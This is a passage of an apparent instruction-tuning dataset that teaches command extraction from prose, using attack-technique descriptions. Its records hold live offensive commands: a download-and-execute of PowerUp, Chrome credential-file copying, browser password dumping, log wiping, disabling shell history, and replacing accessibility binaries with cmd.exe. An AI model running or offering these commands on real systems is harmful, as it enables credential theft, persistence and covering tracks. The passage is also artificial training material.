[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To locate and copy Chrome's encrypted credential files to the temp directory, use the following command:\ncp ~/Library/\"Application Support/Google/Chrome/Default/Login Data\" \"/tmp/T1555.003_Login Data\"\ncp ~/Library/\"Application Support/Google/Chrome/Default/Login Data For Account\" \"/tmp/T1555.003_Login Data For Account\"\n; To extract passwords from browsers on a Windows system, this Atomic test employs WebBrowserPassView, an open-source tool recently observed in BlackCat Ransomware campaigns, using the following command:\nStart-Process \"#{webbrowserpassview_path}\"\nStart-Sleep -Second 4\nStop-Process -Name \"WebBrowserPassView\"\n", "output": "{\"command_list\": [\"cp ~/Library/\\\"Application Support/Google/Chrome/Default/Login Data\\\" \\\"/tmp/T1555.003_Login Data\\\"\\ncp ~/Library/\\\"Application Support/Google/Chrome/Default/Login Data For Account\\\" \\\"/tmp/T1555.003_Login Data For Account\\\"\\n\", \"Start-Process \\\"#{webbrowserpassview_path}\\\"\\nStart-Sleep -Second 4\\nStop-Process -Name \\\"WebBrowserPassView\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For setting up ransomware payloads using virtual machines, use this sequence of commands: \"C:\\Program Files\\Oracle\\VirtualBox\\VBoxSVC.exe\" /reregserver\nregsvr32 /S \"C:\\Program Files\\Oracle\\VirtualBox\\VboxC.dll\"\nrundll32 \"C:\\Program Files\\Oracle\\VirtualBox\\VBoxRT.dll,RTR3Init\"\nsc create VBoxDRV binpath= \"C:\\Program Files\\Oracle\\VirtualBox\\drivers\\VboxDrv.sys\" type= kernel start= auto error= normal displayname= PortableVBoxDRV\nsc start VBoxDRV; This procedure creates a VirtualBox VM and starts it with the command:\n\"#{vboxmanage_exe}\" createvm --name \"#{vm_name}\" --register\n\"#{vboxmanage_exe}\" modifyvm \"#{vm_name}\" --firmware efi\n\"#{vboxmanage_exe}\" startvm \"#{vm_name}\"", "output": "{\"command_list\": [\"\\\"C:\\\\Program Files\\\\Oracle\\\\VirtualBox\\\\VBoxSVC.exe\\\" /reregserver\\nregsvr32 /S \\\"C:\\\\Program Files\\\\Oracle\\\\VirtualBox\\\\VboxC.dll\\\"\\nrundll32 \\\"C:\\\\Program Files\\\\Oracle\\\\VirtualBox\\\\VBoxRT.dll,RTR3Init\\\"\\nsc create VBoxDRV binpath= \\\"C:\\\\Program Files\\\\Oracle\\\\VirtualBox\\\\drivers\\\\VboxDrv.sys\\\" type= kernel start= auto error= normal displayname= PortableVBoxDRV\\nsc start VBoxDRV\\n\", \"\\\"#{vboxmanage_exe}\\\" createvm --name \\\"#{vm_name}\\\" --register\\n\\\"#{vboxmanage_exe}\\\" modifyvm \\\"#{vm_name}\\\" --firmware efi\\n\\\"#{vboxmanage_exe}\\\" startvm \\\"#{vm_name}\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n You can remove all Docker container log entries by executing this command: docker container prune -f && sudo truncate -s 0 /var/lib/docker/containers/*/*-json.log; For enhanced privacy, configure PowerShell to not save history by executing: Set-PSReadlineOption -HistorySaveStyle SaveNothing", "output": "{\"command_list\": [\"docker container prune -f && sudo truncate -s 0 /var/lib/docker/containers/*/*-json.log\\n\", \"Set-PSReadlineOption -HistorySaveStyle SaveNothing\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Using the echo utility, you can empty the system log file with the command: sudo echo '' > #{system_log_path}\n; Using the echo utility, you can empty the system log file by executing: echo '' > /var/log/messages", "output": "{\"command_list\": [\"sudo echo '' > #{system_log_path}\\n\", \"echo '' > /var/log/messages\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To enumerate users in Active Directory and display their paths, use the command: ([adsisearcher]\"objectcategory=user\").FindAll(); ([adsisearcher]\"objectcategory=user\").FindOne()\n; The following script utilizes ADSISearcher to scan organizational units in Active Directory, which can be initiated via the command: \n(([adsisearcher]\\'(objectcategory=organizationalunit)\\').FindAll()).Path | %{if(([ADSI]\"$_\").gPlink){Write-Host \"[+] OU Path:\"([ADSI]\"$_\").Path;$a=((([ADSI]\"$_\").gplink) -replace \"[[;]\" -split \"]\");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host \"Policy Path[$i]:\"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host \"Policy Name[$i]:\"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output \"`n\" }}\n. It outputs user details and their paths upon completion.", "output": "{\"command_list\": [\"([adsisearcher]\\\"objectcategory=user\\\").FindAll(); ([adsisearcher]\\\"objectcategory=user\\\").FindOne()\\n\", \"(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]\\\"$_\\\").gPlink){Write-Host \\\"[+] OU Path:\\\"([ADSI]\\\"$_\\\").Path;$a=((([ADSI]\\\"$_\\\").gplink) -replace \\\"[[;]\\\" -split \\\"]\\\");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host \\\"Policy Path[$i]:\\\"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host \\\"Policy Name[$i]:\\\"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output \\\"`n\\\" }}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The ownership of a file or directory can be altered with this command: chown #{owner} #{file_or_folder}\n; The ownership of a file or folder can be changed recursively with the command: chown -R #{owner} #{file_or_folder}", "output": "{\"command_list\": [\"chown #{owner} #{file_or_folder}\\n\", \"chown -R #{owner} #{file_or_folder}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To replace Magnify.exe with cmd.exe and enable an elevated command prompt via the Accessibility menu, use the following command:\nIF NOT EXIST C:\\Windows\\System32\\Magnify_backup.exe (copy C:\\Windows\\System32\\Magnify.exe C:\\Windows\\System32\\Magnify_backup.exe) ELSE ( pushd )\ntakeown /F C:\\Windows\\System32\\Magnify.exe /A\nicacls C:\\Windows\\System32\\Magnify.exe /grant Administrators:F /t\ncopy /Y C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\Magnify.exe\n; To replace the Narrator binary with cmd.exe, enabling an elevated command prompt via the Accessibility menu, use the following command:\nIF NOT EXIST C:\\Windows\\System32\\Narrator_backup.exe (copy C:\\Windows\\System32\\Narrator.exe C:\\Windows\\System32\\Narrator_backup.exe) ELSE ( pushd )\ntakeown /F C:\\Windows\\System32\\Narrator.exe /A\nicacls C:\\Windows\\System32\\Narrator.exe /grant Administrators:F /t\ncopy /Y C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\Narrator.exe\n", "output": "{\"command_list\": [\"IF NOT EXIST C:\\\\Windows\\\\System32\\\\Magnify_backup.exe (copy C:\\\\Windows\\\\System32\\\\Magnify.exe C:\\\\Windows\\\\System32\\\\Magnify_backup.exe) ELSE ( pushd )\\ntakeown /F C:\\\\Windows\\\\System32\\\\Magnify.exe /A\\nicacls C:\\\\Windows\\\\System32\\\\Magnify.exe /grant Administrators:F /t\\ncopy /Y C:\\\\Windows\\\\System32\\\\cmd.exe C:\\\\Windows\\\\System32\\\\Magnify.exe\\n\", \"IF NOT EXIST C:\\\\Windows\\\\System32\\\\Narrator_backup.exe (copy C:\\\\Windows\\\\System32\\\\Narrator.exe C:\\\\Windows\\\\System32\\\\Narrator_backup.exe) ELSE ( pushd )\\ntakeown /F C:\\\\Windows\\\\System32\\\\Narrator.exe /A\\nicacls C:\\\\Windows\\\\System32\\\\Narrator.exe /grant Administrators:F /t\\ncopy /Y C:\\\\Windows\\\\System32\\\\cmd.exe C:\\\\Windows\\\\System32\\\\Narrator.exe\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in 